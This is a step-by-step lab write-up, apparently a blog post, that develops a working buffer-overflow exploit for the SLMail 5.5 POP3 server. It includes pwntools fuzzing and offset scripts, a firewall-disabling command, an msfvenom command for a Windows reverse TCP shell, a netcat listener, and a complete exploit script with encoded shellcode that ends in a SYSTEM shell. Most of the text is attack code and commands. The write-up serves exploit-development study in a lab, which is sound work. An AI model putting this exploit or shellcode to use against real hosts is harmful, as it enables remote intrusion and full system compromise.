SLMail 5.5

Exploit SLMail 5.5 Buffer overflow in the POP3 PASS parameter.

Setup

VM Setup

  • Kali Linux

  • Windows 7 x86 Ultimate

    • x64dbg

    • Immunity Debugger (In case you need mona.py for some help)

    • SLMail

General Instructions

Before installing SLMail 5.5 make sure you run the binary through virustotal.com and ensure that there are no malware in the distributed binary [as of 16-09-2019]. While installing make sure you accept all the defaults, as there is no dependency on the configurations as such, we just need the POP3 server up and running with all the ports opened up. After you've installed the binary, make sure you turn off the windows firewall using the command mentioned below (run as administrator), this ensures that ports are reachable from the Kali VM and there's no filtering.

C:\> NetSh Advfirewall set allprofiles state off

After setting all these up, run a port scan from the Kali to ensure port 110 is reachable and the machine is reachable as well.

$ nmap -p 110 192.168.219.128
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-16 19:13 IST
Nmap scan report for 192.168.219.128
Host is up (0.00061s latency).
PORT STATE SERVICE
110/tcp closed pop3
Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds

While debugging and exploit development ensure that POP3 server is running fine. The status of the server can be checked from the SLmail Configuration application's control tab menu.

SLmail Configuration Control Menu

Finding the EIP Offset

We'll attach the x64dbg to the SLmail process and use the following python script to send out payload to the application from Kali machine

Attached process (Paused state)

Before sending anything to the server make sure, after attaching the process, you've change the process state to running (F9).

We'll be using the following code snippet to overflow the EIP with A's. I started from 1000 and kept increasing till 3000, at which point I got the EIP overflow.

from pwn import *
p = remote("192.168.219.128", 110)
p.recv()
p.sendline("USER root")
p.recv()
p.sendline("PASS " + "A"*3000)
print p.recv()
EIP is overwritten with a bunch of A's

Now we'll try and find the exact offset value for our EIP.

from pwn import *
p = remote("192.168.219.128", 110)
p.recv()
p.sendline("USER root")
p.recv()
p.sendline("PASS " + cyclic(3000))
print p.recv()
EIP value with the cyclic pattern

And to get the offset value we'll run the following, and it turns out our EIP is after 2606 characters.

$ pwn cyclic -l 0x61626163 # This was the EIP value.
2606

Shell-code location identification

Now we'll see if we can get a place to put our shell-code in our payload, for this we'll try to find in the dump if we get A's or C's in any of the registers and we'll use the following script to check that.

from pwn import *
p = remote("192.168.219.128", 110)
p.recv()
p.sendline("USER root")
p.recv()
p.sendline("PASS " + "A"*2606 + "\xCC"*4 + "C"*1000)
print p.recv()

To our good luck, we can see that ESP points to the starting of the C's in our payload, we'll this is just awesome. Now we have to find the instruction JMP ESP and replace 0xCCCCCCCC with it's address and we'll be able to jump to our shell-code area. We'll take help from x64db and try to find JMP ESP in all the modules. In the CPU section we'll right click, Search For > All Modules > Command, and type in JMP ESP and wait for our results in the references tab. We found 1576 results, you can use any of these, make sure the one you are using does not have any bad character, in this case, it would be any string terminating character (Newline (0xA), Return Carriage (0xD), or Null Byte (0x00)) and you can also use mona.py to ensure that there is no ASLR, or re-base.

Shell-code generation

We'll use msfvenom to generate our shell-code, encode it with Shikata ga-nai encoder and avoid all the string terminating bad characters.

$ msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=192.168.219.151 LPORT=5555 -e x86/shikata_ga_nai -b "\x00\x0A\x0D" -f python

For reverse shell tcp, we need to keep a listening on the port for incoming connections which can be done using netcat.

$ nc -lvnp 5555

Final payload generation

Our final payload script looks something like this with the shell-code, JMP ESP instruction, and other fillers.

from pwn import *
buf = b""
buf += b"\xbf\xa3\xad\x4f\x82\xdb\xdd\xd9\x74\x24\xf4\x5a\x2b"
buf += b"\xc9\xb1\x52\x31\x7a\x12\x03\x7a\x12\x83\x61\xa9\xad"
buf += b"\x77\x99\x5a\xb3\x78\x61\x9b\xd4\xf1\x84\xaa\xd4\x66"
buf += b"\xcd\x9d\xe4\xed\x83\x11\x8e\xa0\x37\xa1\xe2\x6c\x38"
buf += b"\x02\x48\x4b\x77\x93\xe1\xaf\x16\x17\xf8\xe3\xf8\x26"
buf += b"\x33\xf6\xf9\x6f\x2e\xfb\xab\x38\x24\xae\x5b\x4c\x70"
buf += b"\x73\xd0\x1e\x94\xf3\x05\xd6\x97\xd2\x98\x6c\xce\xf4"
buf += b"\x1b\xa0\x7a\xbd\x03\xa5\x47\x77\xb8\x1d\x33\x86\x68"
buf += b"\x6c\xbc\x25\x55\x40\x4f\x37\x92\x67\xb0\x42\xea\x9b"
buf += b"\x4d\x55\x29\xe1\x89\xd0\xa9\x41\x59\x42\x15\x73\x8e"
buf += b"\x15\xde\x7f\x7b\x51\xb8\x63\x7a\xb6\xb3\x98\xf7\x39"
buf += b"\x13\x29\x43\x1e\xb7\x71\x17\x3f\xee\xdf\xf6\x40\xf0"
buf += b"\xbf\xa7\xe4\x7b\x2d\xb3\x94\x26\x3a\x70\x95\xd8\xba"
buf += b"\x1e\xae\xab\x88\x81\x04\x23\xa1\x4a\x83\xb4\xc6\x60"
buf += b"\x73\x2a\x39\x8b\x84\x63\xfe\xdf\xd4\x1b\xd7\x5f\xbf"
buf += b"\xdb\xd8\xb5\x10\x8b\x76\x66\xd1\x7b\x37\xd6\xb9\x91"
buf += b"\xb8\x09\xd9\x9a\x12\x22\x70\x61\xf5\x8d\x2d\xb2\x92"
buf += b"\x66\x2c\x44\x88\xc5\xb9\xa2\xd8\x39\xec\x7d\x75\xa3"
buf += b"\xb5\xf5\xe4\x2c\x60\x70\x26\xa6\x87\x85\xe9\x4f\xed"
buf += b"\x95\x9e\xbf\xb8\xc7\x09\xbf\x16\x6f\xd5\x52\xfd\x6f"
buf += b"\x90\x4e\xaa\x38\xf5\xa1\xa3\xac\xeb\x98\x1d\xd2\xf1"
buf += b"\x7d\x65\x56\x2e\xbe\x68\x57\xa3\xfa\x4e\x47\x7d\x02"
buf += b"\xcb\x33\xd1\x55\x85\xed\x97\x0f\x67\x47\x4e\xe3\x21"
buf += b"\x0f\x17\xcf\xf1\x49\x18\x1a\x84\xb5\xa9\xf3\xd1\xca"
buf += b"\x06\x94\xd5\xb3\x7a\x04\x19\x6e\x3f\x34\x50\x32\x16"
buf += b"\xdd\x3d\xa7\x2a\x80\xbd\x12\x68\xbd\x3d\x96\x11\x3a"
buf += b"\x5d\xd3\x14\x06\xd9\x08\x65\x17\x8c\x2e\xda\x18\x85"
p = remote("192.168.219.128", 110)
p.recv()
p.sendline("USER root")
p.recv()
p.sendline("PASS " + "A"*2606 + p32(0x716EA2BB) + "\x90"*10 + buf)
print p.recv()

You might notice that we've added a NOP sled before the shell-code, this is put in place to ensure that if there's some misalignment with the EIP and the shell-code, it does not affect the shell-code execution.

After executing the final payload script we have the shell as evident in the screenshot below.

And as the application was running with elevated privileges, we have NT Authority/SYSTEM access.